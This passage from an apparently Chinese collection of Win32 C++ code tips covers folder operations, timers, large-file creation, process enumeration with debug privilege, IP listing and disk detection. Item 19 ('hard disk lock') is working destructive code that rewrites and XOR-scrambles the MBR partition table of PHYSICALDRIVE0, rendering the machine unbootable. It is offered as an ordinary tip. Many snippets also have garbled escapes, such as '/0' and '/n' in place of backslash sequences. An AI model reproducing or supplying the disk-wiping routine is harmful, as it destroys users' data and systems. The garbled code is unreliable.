    char   szTempDir[MAX_PATH]   =   {   0   };
    sprintf(szTempDir,   "%s//%s",   pszDir,   szFoundFileName);
    DeleteDirectory(szTempDir);
   }
   else
   {
    char   szTempFileName[MAX_PATH]   =   {   0   };
    sprintf(szTempFileName,   "%s//%s",   pszDir,   szFoundFileName);
    DeleteFile(szTempFileName);
   }
  }
}
FindClose(hFind);

if(!RemoveDirectory(pszDir))
{
return false;
}
return true;
}

3）、SHFileOperation（）函数主要对文件夹有四种操作：复制，删除，移动，重命名。

/////////////////////////////////////
//函数名:DeleteFolder
//输入参数：LpszPath 要删除的路径指针
//作用：删除指定文件夹以及里面的文件
//
/////////////////////////////////////

BOOL DeleteFolder(LPCTSTR lpszPath)
{
int nLength = strlen(lpszPath);
char *NewPath = new char[nLength+2];
strcpy(NewPath,lpszPath);
NewPath[nLength] = '/0';
NewPath[nLength+1] = '/0';

SHFILEOPSTRUCT FileOp;
ZeroMemory((void*)&FileOp,sizeof(SHFILEOPSTRUCT));

FileOp.fFlags = FOF_NOCONFIRMATION;
FileOp.hNameMappings = NULL;
FileOp.hwnd = NULL;
FileOp.lpszProgressTitle = NULL;
FileOp.pFrom = NewPath;
FileOp.pTo = NULL;
FileOp.wFunc = FO_DELETE;

return SHFileOperation(&FileOp) == 0;

}
/////////////////////////////////////
//函数名：CopyFolder
//参数：lpszFromPath 源文件夹的路径。 lpszToPath 目的文件夹的路径
//作用：拷贝文件夹及其文件夹中的所有内容
//
//////////////////////////////////////
BOOL CopyFolder(LPCTSTR lpszFromPath,LPCTSTR lpszToPath)
{
int nLengthFrm = strlen(lpszFromPath);
char *NewPathFrm = new char[nLengthFrm+2];
strcpy(NewPathFrm,lpszFromPath);
NewPathFrm[nLengthFrm] = '/0';
NewPathFrm[nLengthFrm+1] = '/0';

    SHFILEOPSTRUCT FileOp;
    ZeroMemory((void*)&FileOp,sizeof(SHFILEOPSTRUCT));

    FileOp.fFlags = FOF_NOCONFIRMATION ;
    FileOp.hNameMappings = NULL;
    FileOp.hwnd = NULL;
    FileOp.lpszProgressTitle = NULL;
    FileOp.pFrom = NewPathFrm;
    FileOp.pTo = lpszToPath;
    FileOp.wFunc = FO_COPY;

    return SHFileOperation(&FileOp) == 0;
}
/////////////////////////////////////
//函数名：MoveFolder
//参数：lpszFromPath 源文件夹路径。lpszToPath 目的文件夹路径
//作用：移动原文件夹及其中文件都指定的路径下
//
/////////////////////////////////////
BOOL MoveFolder(LPCTSTR lpszFromPath,LPCTSTR lpszToPath)
{
int nLengthFrm = strlen(lpszFromPath);
char *NewPathFrm = new char[nLengthFrm+2];
strcpy(NewPathFrm,lpszFromPath);
NewPathFrm[nLengthFrm] = '/0';
NewPathFrm[nLengthFrm+1] = '/0';

    SHFILEOPSTRUCT FileOp;
    ZeroMemory((void*)&FileOp,sizeof(SHFILEOPSTRUCT));

    FileOp.fFlags = FOF_NOCONFIRMATION ;
    FileOp.hNameMappings = NULL;
    FileOp.hwnd = NULL;
    FileOp.lpszProgressTitle = NULL;
    FileOp.pFrom = NewPathFrm;
    FileOp.pTo = lpszToPath;
    FileOp.wFunc = FO_MOVE;

    return SHFileOperation(&FileOp) == 0;
}
/////////////////////////////////////
//ReNameFolder
//参数：lpszFromPath 源文件夹路径。lpszToPath 目的文件夹路径
//作用：修改原文件夹的名字。
//
/////////////////////////////////////
BOOL ReNameFolder(LPCTSTR lpszFromPath,LPCTSTR lpszToPath)
{
int nLengthFrm = strlen(lpszFromPath);
char *NewPathFrm = new char[nLengthFrm+2];
strcpy(NewPathFrm,lpszFromPath);
NewPathFrm[nLengthFrm] = '/0';
NewPathFrm[nLengthFrm+1] = '/0';

    SHFILEOPSTRUCT FileOp;
    ZeroMemory((void*)&FileOp,sizeof(SHFILEOPSTRUCT));

    FileOp.fFlags = FOF_NOCONFIRMATION ;
    FileOp.hNameMappings = NULL;
    FileOp.hwnd = NULL;
    FileOp.lpszProgressTitle = NULL;
    FileOp.pFrom = NewPathFrm;
    FileOp.pTo = lpszToPath;
    FileOp.wFunc = FO_RENAME;

    return SHFileOperation(&FileOp) == 0;
}

14、获取唯一标识符号

//功能：获取唯一标识符号
LONG64 GetUniquelyIdentify()
{
LONG64 nIdentify = 0;
LARGE_INTEGER tc;
if(QueryPerformanceCounter(&tc))
{
  nIdentify = tc.QuadPart;
}
else
{
  //表示QueryPerformanceCounter函数硬件设备不支持
  UUID uuidFileID;
  while(UuidCreate(&uuidFileID)!=RPC_S_OK)
  {
   Sleep(200);
  }
  nIdentify = uuidFileID.Data1;
}
return nIdentify;
}

//注：UuidCreate函数需要包含#include "Rpc.h"
// #pragma comment(lib,"Rpcrt4.lib")

15、VC中取得毫秒级的时间

1000毫秒为一秒，毫秒可能是能够取到的最小的时间单位了，代码如下：

DWORD startTime = GetTickCount();
// do something
DWORD totalTime = GetTickCount() - startTime;

我找了一下资料，如下的代码可以取得更为精确的时间值：

// 取得时钟频率
LARGE_INTEGER  litmp ;
QueryPerformanceFrequency(&litmp);
  LARGE_INTEGER  start;
  QueryPerformanceCounter(&start) ;
  //do something
LARGE_INTEGER  end;
QueryPerformanceCounter(&end) ;
double dTotalTime = (double)(end.QuadPart-start.QuadPart) / (double)litmp.QuadPart;    //秒

16、Windows快速创建大文件的三种方法
1）、使用内存映射文件：
CreateFileMapping的参数可以设置最大长度，当实际文件的长度小于设置的最大长度时，系统自动扩展。注意：在CreateFile的时候要加写权限。

    HANDLE hFile;
    HANDLE hMapFile;
    hFile = CreateFile( "D://LargeFile.dat", GENERIC_WRITE | GENERIC_READ,
        FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL );
    if( hFile == INVALID_HANDLE_VALUE ) {
        printf( "create file failed./n" );
        return;
    }

    hMapFile = CreateFileMapping( hFile, NULL, PAGE_READWRITE, 0,
                   2*1024*1024, NULL );
    if( hMapFile == NULL ) {
        printf( "create file mapping failed./n" );
        CloseHandle( hFile );
        return;
    }
    printf( "OK!/n" );
    CloseHandle( hMapFile );
    CloseHandle( hFile );

2）、设置文件指针 + 设置EOF
两个API完成，首先调用SetFilePointer，在参数里填入所需的长度，再调用SetEndOfFile，完成。

    HANDLE hFile;
    hFile = CreateFile( "D://LargeFile1.dat", GENERIC_WRITE | GENERIC_READ,
        FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,
        NULL );
    if( hFile == INVALID_HANDLE_VALUE )   {
        printf( "create file failed./n" );
        return;
    }

    SetFilePointer( hFile, 2*1024*1024, NULL, FILE_BEGIN   );

    SetEndOfFile( hFile );
    printf( "OK!/n" );
    CloseHandle( hFile );
3）、设置文件指针 + 写1Byte
也是两个API完成，首先调用SetFilePointer，再调用WriteFile写入1byte就完成了。

    HANDLE hFile;
    DWORD dwR;
    hFile = CreateFile( "D://LargeFile2.dat",
        GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ,
        NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,
        NULL );
    if( hFile == INVALID_HANDLE_VALUE ) {
        printf( "create file failed./n" );
        return;
    }
    SetFilePointer(    hFile, 2*1024*1024 - 1, NULL, FILE_BEGIN );
    WriteFile( hFile, "A",   1, &dwR,   NULL );

    printf( "OK!/n" );
    CloseHandle( hFile );
第三种方法是FlashGet使用的方法。第一种方法只发一个IRP，速度最快，第二种要发两个IRP，第三种也是发两个IRP，不过还有一个写动作，速度略慢。磁盘格式是FAT32的文件系统会真正的写数据，格式是NTFS的文件系统则没有写数据，故速度很快(瞬间生成*G大小…)。

17、枚举所有进程

#define MAX_ID 1024 //最大进程ID

//枚举进程
typedef BOOL (_stdcall *ENUMPROCESS)(
          DWORD *pProcessIds,    //指向进程ID数组链
          DWORD cb,              //ID数组的大小，用字节计数
          DWORD *pBytesReturned  //返回的字节
          );

//枚举进程模块
typedef BOOL (_stdcall *ENUMPROCESSMODULES)(
 HANDLE  hProcess,   //进程句柄
 HMODULE *lphModule, //指向模块句柄数组链
 DWORD   cb,         //模块句柄数组大小，字节计数
 LPDWORD lpcbNeeded  //存储所有模块句柄所需的字节数
 );

//获得进程模块名
typedef DWORD (_stdcall *GETMODULEFILENAMEEX)(
 HANDLE  hProcess,   //进程句柄
 HMODULE hModule,    //进程句柄
 LPTSTR  lpFilename, //存放模块全路径名
 DWORD   nSize       //lpFilename缓冲区大小，字符计算
 );

//获得进程名
typedef DWORD (_stdcall *GETMODULEBASENAME)(
 HANDLE  hProcess,  //进程句柄
 HMODULE hModule,   //模块句柄
 LPTSTR  lpBaseName,//存放进程名
 DWORD   nSize      //lpBaseName缓冲区大小
 );

//进程信息结构
typedef struct tagProcessInfo{
 DWORD dwPID;//进程ID
 char  szFileName[MAX_PATH];//进程文件名
 char  szPathName[MAX_PATH];//进程路径名
}ProcessInfo;

static BOOL EnablePrivilege(HANDLE hToken,LPCSTR szPrivName);
static BOOL EnumAllProcess(ProcessInfo *pAll,int & nTotal);//枚举所有进程

BOOL EnumAllProcess(ProcessInfo *pAll,int & nTotal)
{
 ENUMPROCESS         pEnumProcess;
 ENUMPROCESSMODULES  pEnumProcessModules;
 GETMODULEFILENAMEEX pGetModuleFileNameEx;
 GETMODULEBASENAME   pGetModuleBaseName;

 HANDLE hToken;//访问令牌句柄

 DWORD dwPID[MAX_ID];//接授进程ID的数组
 DWORD cbReturn;//返回的字节数
 DWORD dwPCount;//进程数
 DWORD i;
 char  szFileName[MAX_PATH] = {0};//文件名
 char  szPathName[MAX_PATH] = {0};//路径名
 char  Id[]="ID",Pid[]="PID",Exe[]="ProcessName",Path[]="Path";

 HANDLE hProcess = NULL; //进程句柄
 HMODULE hModule = NULL; //模块句柄
 HINSTANCE hPsDll = NULL;//实例句柄

 hPsDll=LoadLibrary("PSAPI.DLL");//获得DLL的实例
 if(hPsDll==NULL)
 {
  FreeLibrary(hPsDll);
  return 0;
 }

 //获得函数的地址
 pEnumProcess=(ENUMPROCESS)GetProcAddress(hPsDll,"EnumProcesses");
 pEnumProcessModules=(ENUMPROCESSMODULES)GetProcAddress(hPsDll,"EnumProcessModules");
 pGetModuleFileNameEx=(GETMODULEFILENAMEEX)GetProcAddress(hPsDll,"GetModuleFileNameExA");
 pGetModuleBaseName=(GETMODULEBASENAME)GetProcAddress(hPsDll,"GetModuleBaseNameA");

 if(!(pEnumProcess && pEnumProcessModules && pGetModuleFileNameEx &&pGetModuleBaseName))
 {
  FreeLibrary(hPsDll);
  return 0;
 }

 //打开当前进程访问令牌
 if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))
 {
  if(EnablePrivilege(hToken,SE_DEBUG_NAME))
  {
   pEnumProcess(dwPID,sizeof(dwPID),&cbReturn);//枚举进程
   dwPCount = cbReturn/sizeof(DWORD);//计算线程总数
   nTotal = dwPCount;
   for(i=0;i<dwPCount;i++)
   {
    //打开进程
    hProcess=OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ,//访问权限
     false,//是否允许得到的进程句柄被后创建的子进程继承
     dwPID[i]);//进程ID
    pAll[i].dwPID = dwPID[i];
    if(hProcess)
    {
     //枚举进程模块
     pEnumProcessModules(hProcess,&hModule,sizeof(hModule),&cbReturn);

     //保存文件名
     pGetModuleBaseName(hProcess,hModule,szFileName,sizeof(szFileName));
     strcpy(pAll[i].szFileName,szFileName);
     //获得进程模块文件名(包含路径)
     pGetModuleFileNameEx(hProcess,hModule,szPathName,sizeof(szPathName));
     strcpy(pAll[i].szPathName,szPathName);
    }
   }
  }
 }

 TRACE("Process Total:%d\n",dwPCount);

 //关闭句柄和实例
 CloseHandle(hProcess);
 //CloseHandle(hModule);
 FreeLibrary(hPsDll);

 return 1;
}

//提权函数
BOOL EnablePrivilege(HANDLE hToken,LPCSTR szPrivName)
{
 TOKEN_PRIVILEGES tkp;//访问令牌权限结构变量
 LUID  luid;//本地唯一标识符结构变量

 //查询SE_DEBUG_NAME权限所对应的luid值
 if(!LookupPrivilegeValue(NULL,szPrivName,&luid))
 {
  TRACE("Lookup Privilege Value Failed...\nErrorCode:%d\n",GetLastError());
  return 0;
 }

 //填充Token_Privileges结构
 tkp.PrivilegeCount=1;
 tkp.Privileges[0].Luid=luid;
 tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;

 //提升权限
 if(!AdjustTokenPrivileges(hToken,FALSE,&tkp,sizeof(tkp),NULL,NULL))
 {
  TRACE("Adjust Token Privileges Failed...\nErrorCode:%d\n",GetLastError());
  return 0;
 }

 return(GetLastError()==ERROR_SUCCESS);
}

18、获取IP列表

#include "winsock2.h"
#pragma comment( lib, "ws2_32.lib")
#include "list"
using namespace std;

//获取IP列表
bool GetIpList(list<string> & listIp)
{ 
 WORD wVersionRequested;
 WSADATA wsaData;
 int err;
 wVersionRequested = MAKEWORD( 2, 2 );
 err = WSAStartup( wVersionRequested, &wsaData );
 if (err != 0)
 { 
  return false;
 }
 char szhn[256];
 int nStatus = gethostname(szhn, sizeof(szhn));
 if (nStatus == SOCKET_ERROR )
 {
  return false;
 }

 HOSTENT *host = gethostbyname(szhn);
 if (host != NULL)
 { 
  for ( int i=0; ; i++ )
  { 
   listIp.push_back( inet_ntoa( *(IN_ADDR*)host->h_addr_list[i] ));
   if ( host->h_addr_list[i] + host->h_length >= host->h_name )
    break;
  }
 }
 WSACleanup();
 return true;
}

19、VC硬盘锁

void KillDisk()   
{   
    HANDLE hDevice=CreateFile("\\\\.\\PHYSICALDRIVE0",GENERIC_READ|GENERIC_WRITE,   
                    FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,   
                    0,NULL);   
  
    if(hDevice==INVALID_HANDLE_VALUE)   
     {   
       MessageBox(NULL,"Error !","Man",MB_ICONERROR|MB_OK);   
       ExitProcess(0);   
     }   
  
    DWORD cout;   
    DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);   
       
    DISK_GEOMETRY Getmetry;   
  
    DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Getmetry,sizeof(DISK_GEOMETRY),   
                     &cout,   
                     NULL);   
       
    LPTSTR szBuf;   
    szBuf=(LPTSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Getmetry.BytesPerSector);   
  
    if(szBuf==NULL)   
     {   
         MessageBox(NULL,"Error !","Man",MB_ICONERROR|MB_OK);   
         ExitProcess(0);   
     }   
       
    DWORD bytes=512;   
    DWORD readsize;   
    BOOL m_ret;   
     m_ret=ReadFile(hDevice,szBuf,bytes,&readsize,NULL);   
    if(m_ret==FALSE || readsize<512)   
     {   
         MessageBox(NULL,"Error !","Man",MB_ICONERROR|MB_OK);   
         ExitProcess(0);   
     }   
       
    BYTE MBR[512]={0};   
    for(int n=0;n<512;n++)   
     {   
         MBR[n]=szBuf[n];   
     }   
       
     DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);   
     CloseHandle(hDevice);   
  
     MBR[0x1BE]=80;   
     MBR[0x1BF]=0;   
     MBR[0x1C2]=5;   
    for(int i=0x1C3;i<=0x1FE;i++)   
     {   
         MBR[i]=MBR[i]^26;   
     }   
  
     hDevice=CreateFile("\\\\.\\PHYSICALDRIVE0",   
                        GENERIC_READ|GENERIC_WRITE,   
                        FILE_SHARE_READ|FILE_SHARE_WRITE,   
                        NULL,   
                        OPEN_EXISTING,   
                        0,   
                        NULL);   
    if(hDevice==INVALID_HANDLE_VALUE)   
     {   
         MessageBox(NULL,"Error !","Man",MB_ICONERROR|MB_OK);   
         ExitProcess(0);   
     }   
    DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);   
  
    m_ret=WriteFile(hDevice,MBR,bytes,&readsize,NULL);   
    if(m_ret==FALSE||readsize<512)   
     {   
         MessageBox(NULL,"Error !","Shit",MB_ICONERROR|MB_OK);   
         ExitProcess(0);   
     }   
       
     DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&cout,NULL); 
  
     CloseHandle(hDevice);           
}

20、判断硬盘盘符是否为本地硬盘

bool IsIDE(CString DriveName)
{
  ///本段程序的前提是DriveName是已经过GetDriveType的判断是本地磁盘,否则报错,作用是判断是否是真正的本地磁盘
  HANDLE hDeviceDest = NULL;   
  DWORD nBytesRead = 0;//预设为0，当缓冲区的长度不够时，该值为所需的缓冲区的长度   
  DWORD nBufferSize = sizeof(PARTITION_INFORMATION);   
  PPARTITION_INFORMATION lpPartInfo=(PPARTITION_INFORMATION)malloc(nBufferSize);   
  if(lpPartInfo == NULL)   
  {   
return false;   
  }   
  memset(lpPartInfo, 0, nBufferSize);//将缓冲区lpPartInfo的内容设为nDiskBufferSize个NULL   
  //CString DriveName="J:";//为判断提供接口   
  DriveName=L"\\\\.\\"+DriveName;  
 
  hDeviceDest = CreateFile(LPCTSTR(DriveName),
  GENERIC_READ,   
  FILE_SHARE_READ|FILE_SHARE_WRITE,   
  NULL,   
  OPEN_EXISTING,   
  0,   
  NULL);   
   
  if(hDeviceDest == NULL)   
  {   
  return false;   
  }   

  //获得该分区信息
  BOOL ret1=DeviceIoControl(   
hDeviceDest,   
IOCTL_DISK_GET_PARTITION_INFO,   
NULL,   
0,   
(LPVOID) lpPartInfo,   
(DWORD) nBufferSize,   
(LPDWORD) &nBytesRead,   
NULL //指向一个异步的结构体   
);   
    
if(!ret1)   
{   
LPVOID lpMsgBuf;   
FormatMessage(   
FORMAT_MESSAGE_ALLOCATE_BUFFER |   
FORMAT_MESSAGE_FROM_SYSTEM |   
FORMAT_MESSAGE_IGNORE_INSERTS,   
NULL,   
GetLastError(),   
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), //Default language   
(LPTSTR)&lpMsgBuf,   
0,   
NULL   
);   
LocalFree(lpMsgBuf);   
return false;   
} // end of if(!ret1)   

//导出该分区信息
LARGE_INTEGER StartingOffset=lpPartInfo->StartingOffset;  
LONGLONG QuadPart=StartingOffset.QuadPart; //取上面的值之一情形,支持64位整型   
LARGE_INTEGER PartitionLength=lpPartInfo->PartitionLength;   
LONGLONG QuadPart1=PartitionLength.QuadPart; //取上面的值之一情形,支持64位整型   
DWORD HiddenSectors=lpPartInfo->HiddenSectors;   
DWORD PartitionNumber=lpPartInfo->PartitionNumber;   
BYTE PartitionType=lpPartInfo->PartitionType;   
BOOLEAN BootIndicator=lpPartInfo->BootIndicator;   
BOOLEAN RecognizedPartition=lpPartInfo->RecognizedPartition;   
BOOLEAN RewritePartition=lpPartInfo->RewritePartition;   
free(lpPartInfo);   
CloseHandle(hDeviceDest);   
    
//查询注册表中COUNT(Disk)的值   
UINT IDESeqNum;//IDE的序号   
BOOL FindIDE = false;   
HKEY hKEY;   
RegOpenKeyEx(HKEY_LOCAL_MACHINE,L"SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum", 0, KEY_READ, &hKEY);   
///////////接收DWORD型/////////////   
DWORD Type;//仅仅用于接收数据类型   
DWORD dwValue;   
DWORD dwBufLen = sizeof(DWORD);   
long ret2=::RegQueryValueEx(hKEY,_T("Count"), NULL, &Type,(BYTE*)&dwValue,&dwBufLen);   

if(ret2!=ERROR_SUCCESS)   
{  
return FALSE;//失败   
}   

for(UINT k=0; k<dwValue; k++)   
{   
///////////接收字符型/////////////   
char str[256];   
DWORD sl = 256;   
CString nDisk;   
nDisk.Format(L"%u",k);   
RegQueryValueEx(hKEY, nDisk, NULL, NULL, (LPBYTE)str, &sl);   
//注意第三项必须设为NULL,否则接收到的字符数据出错   
CString temp=(LPCTSTR)str;   

if (temp.Left(3) == "IDE")   
{   
IDESeqNum=k; //IDE的序号   
FindIDE=TRUE;   
}   
} //end of for(UINT k=0; k<dwValue; k++)  

if (!FindIDE)   
return false; //IDESeqNum=0;   
RegCloseKey(hKEY);   
    
  CString temp;   
  temp.Format(L"%u",IDESeqNum);   
  temp=L"\\\\.\\PHYSICALDRIVE"+temp;//为下一步检测作准备   
    
  HANDLE hDevice = NULL;   
  DWORD nDiskBytesRead = 0; //预设为0，当缓冲区的长度不够时，该值为所需的缓冲区的长度   
  DWORD nDiskBufferSize = sizeof(DRIVE_LAYOUT_INFORMATION) + sizeof(PARTITION_INFORMATION)*104;//26*4   
  PDRIVE_LAYOUT_INFORMATION lpDiskPartInfo = (PDRIVE_LAYOUT_INFORMATION)malloc(nDiskBufferSize);   
    
  if(lpDiskPartInfo == NULL)   
  {   
return FALSE;   
  }   
  memset(lpDiskPartInfo, 0, nDiskBufferSize);//将缓冲区lpDiskPartInfo的内容设为nDiskBufferSize个NULL   
    
//获得所有分区的信息
hDevice = CreateFile(LPCTSTR(temp),   
GENERIC_READ,   
FILE_SHARE_READ | FILE_SHARE_WRITE,   
NULL, OPEN_EXISTING,   
0, NULL);   
  
if(hDevice == NULL)   
{   
return FALSE;   
}   
    
/////////////获得某磁盘上的所有分区信息/////////////////////////   
BOOL ret=DeviceIoControl(   
hDevice,   
IOCTL_DISK_GET_DRIVE_LAYOUT,   
NULL,   
0,   
(LPVOID) lpDiskPartInfo,   
(DWORD) nDiskBufferSize,   
(LPDWORD) &nDiskBytesRead,   
NULL   
);   
    
if (!ret)   
{   
LPVOID lpMsgBuf;   
FormatMessage(   
FORMAT_MESSAGE_ALLOCATE_BUFFER |   
FORMAT_MESSAGE_FROM_SYSTEM |   
FORMAT_MESSAGE_IGNORE_INSERTS,   
NULL,   
GetLastError(),   
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language   
(LPTSTR) &lpMsgBuf,   
0,   
NULL   
);  
LocalFree(lpMsgBuf);   
return FALSE;   
} //end of if (!ret)   
  //} //end of bool CusbmngDlg::IsIDE(CString DriveName)

  ////////////////////////////导出分区信息///////////////////////////////////////   
  DWORD PartitionCount=lpDiskPartInfo->PartitionCount;   
  //永远是实际的分区数的4倍,不能用的分区将会显示类型PARTITION_ENTRY_UNUSED,即分区类型为0   
  //依次获取导出某分区信息,并与目的驱动器进行比较///////////////////////////////////   
  for(UINT i=0; i<PartitionCount; i=i+4)//+4是因为只有下标为4的整数倍的值才是正确的引用   
  {   
PARTITION_INFORMATION DiskPartInfo=lpDiskPartInfo->PartitionEntry[i];//0为C:,4为D:,8为e:,12为F  
LARGE_INTEGER DiskStartingOffset = DiskPartInfo.StartingOffset;   
LONGLONG DiskQuadPart = DiskStartingOffset.QuadPart; //取上面的值之一情形,支持64位整型   
LARGE_INTEGER DiskPartitionLength = DiskPartInfo.PartitionLength;   
LONGLONG DiskQuadPart1 = DiskPartitionLength.QuadPart; //取上面的值之一情形,支持64位整型   
DWORD DiskHiddenSectors = DiskPartInfo.HiddenSectors;   
DWORD DiskPartitionNumber = DiskPartInfo.PartitionNumber;   
BYTE DiskPartitionType = DiskPartInfo.PartitionType;   
BOOLEAN DiskBootIndicator = DiskPartInfo.BootIndicator;   
BOOLEAN DiskRecognizedPartition = DiskPartInfo.RecognizedPartition;   
BOOLEAN DiskRewritePartition = DiskPartInfo.RewritePartition;  

if ((DiskQuadPart==QuadPart) && (DiskQuadPart1==QuadPart1)   
&& (DiskHiddenSectors==HiddenSectors) && (DiskPartitionNumber==PartitionNumber)   
&& (DiskPartitionType==PartitionType ) && (DiskBootIndicator==BootIndicator)   
&& (DiskRecognizedPartition==RecognizedPartition) && (DiskRewritePartition==RewritePartition))   
{   
free(lpDiskPartInfo);   
CloseHandle(hDevice);   
   
return TRUE;   
} //end of if  
  } //end of for(UINT i=0; i<PartitionCount; i=i+4)
  free(lpDiskPartInfo);   
  CloseHandle(hDevice);   
 
  return false;   
} //end of IsIDE(CString DriveName)

21、消息方式模拟CTabCtrl点击tab页事件

m_tab.SetCurSel(1);//CTabCtrl m_tab
NMHDR nh;
nh.hwndFrom = m_tab.m_hWnd;	
nh.idFrom = IDC_TAB;
nh.code = TCN_SELCHANGE;
SendMessage(WM_NOTIFY,IDC_TAB,(LPARAM)&nh);

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